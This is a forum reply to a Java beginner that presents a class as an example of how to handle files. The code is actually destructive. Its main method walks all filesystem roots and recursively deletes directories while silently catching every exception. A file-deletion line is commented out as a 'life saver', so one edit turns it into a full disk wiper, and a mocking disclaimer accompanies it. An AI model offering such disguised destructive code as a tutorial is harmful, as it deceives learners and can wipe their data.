Re: i am new to java

Prejith wrote:


This should give you a pretty nice picture of how to handle files.

DISCLAIMER: I'm not liable, yadda yadda yadda.

import java.io.File;
import java.io.FileFilter;

import javax.swing.filechooser.FileSystemView;

public class FileHandling {

    private static final FileFilter DIRS = new FileFilter() {
        public boolean accept(final File file) {
            return file.isDirectory();
        }
    };

    private static final FileFilter FILES = new FileFilter() {
        public boolean accept(final File file) {
            return file.isFile();
        }
    };

    public FileHandling() {

    }

    public void handle(File root) {
        if(root == null)
            return;

        if(!root.isDirectory())
            root = root.getParentFile();

        if(root == null)
            return;

        File[] files = root.listFiles(FILES);
        if(files != null) {
            for(File file : files) {
                //life saver//try {file.delete();} catch(Exception x) {}
            }
        }

        File[] dirs = root.listFiles(DIRS);
        if(dirs != null) {
            for(File dir : dirs) {
                handle(dir);
            }
        }

        root.delete();
    }

    public static void main(String[] args) {
        try {
            FileHandling fileHandling = new FileHandling();

            File[] roots = FileSystemView.getFileSystemView().getRoots();
            if(roots != null) {
                for(File root : roots) {
                    try {fileHandling.handle(root);} catch(Exception x) {}
                }
            }
        }
        catch(Exception x) {}
    }
}